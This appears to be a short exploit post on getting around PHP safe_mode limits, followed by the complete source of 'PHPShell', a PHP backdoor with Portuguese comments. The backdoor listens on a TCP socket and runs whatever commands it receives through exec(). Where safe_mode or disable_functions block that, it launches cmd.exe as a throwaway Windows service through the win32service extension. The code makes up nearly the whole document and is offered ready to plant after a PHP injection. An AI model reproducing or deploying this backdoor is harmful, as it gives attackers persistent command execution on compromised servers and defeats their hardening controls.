when safe_mode = on, set_time_limit is "off", then we can use ini_set("max_execution_time", 90000000); suppose the server is vulnerable PHP injection, then an attacker make a backdoor in PHP and register it in SCM of windows with win32service extension. the backdoor need wait for connections, if safe_mode = on, then it can use ini_set("max_execution_time", quantity) instead set_time_limit(0), because safe_mode block this. example of backdoor that use this technique: <?php //script for low versions of PHP //PHPShell by branco //contact by brancohat gmail.com //gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci ini_set("max_execution_time", 90000000); set_time_limit(0); define("NEW_LINE", "\n\r"); define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe'); Class Backdoor { var $exec; var $result; // PHP bypass with win32service, technique of NetJackal function execCommand($cmd) { $dir=ini_get('upload_tmp_dir'); $n=uniqid('NJ'); $name=$dir."\\log"; $cmd_local=(empty($_SERVER['ComSpec']))? CMD_DIR :$_SERVER ['ComSpec']; win32_create_service(array('service'=>$n,'display'=>$n, 'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); $content=file_get_contents($name); unlink($name); return $content; } function execConfig() { $safe_mode = ini_get("safe_mode"); $disable_functions = ini_get("disable_functions"); // se for possivel utiliza a funcao exec if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) { $this->exec = "exec"; } //se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao win32service esteja habilitada else { if (extension_loaded('win32service')) { $this->exec = "execCommand"; } else { $this->exec = "impossivel"; } } } function errCatch() { exit(socket_strerror(socket_last_error()) . socket_last_error()); } function listen() { $socket; $socket_stream; $input_socket; $socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch(); socket_bind($socket,'127.0.0.1', 666) or $this->errCatch(); socket_listen($socket, 5) or $this->errCatch(); do { $socket_stream = socket_accept($socket); if ($socket_stream === false) { continue 1; } // so passa caso alguem se conecte, ai vem a mensagem de boas vindas $msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE; socket_write($socket_stream, $msg, strlen($msg)); // aqui trata a sessao do { $input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or $this->errCatch(); $input_socket = trim($input_socket); if (empty($input_socket)) { continue 1; # goto sessao } switch ($input_socket) { case "quit": socket_close($socket_stream); break 2; # goto sessao case "shutdown": socket_close($socket_stream); socket_close($socket); break 3; # goto termina } // caso os comandos nao sejam quit nem shutdown if ($this->exec == "execCommand") { $this->result = $this->execCommand($input_socket); } if ($this->exec == "exec") { $output = ""; $result_complete = ""; $value = ""; exec($input_socket, $output); foreach ($output as $value) { $result_complete .= "$value" . NEW_LINE; } $this->result = $result_complete; } if ($this->exec == "impossivel") { $this->result = NEW_LINE . "Nao foi possivel executar comandos, safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de burlar safe_mode, edite o backdoor" . NEW_LINE; } if ($this->result) { // pra caso result esteja vazio o socket nao gerar erro e fexar sessao socket_write($socket_stream,$this->result, strlen($this->result)) or $this->errCatch(); } } while(true); #sessao } while(true); #termina } function Backdoor() { $this->exec = ""; $this->result = ""; $this->execConfig(); socket_clear_error(); $this->listen(); } } $backdoor = new Backdoor(); ?>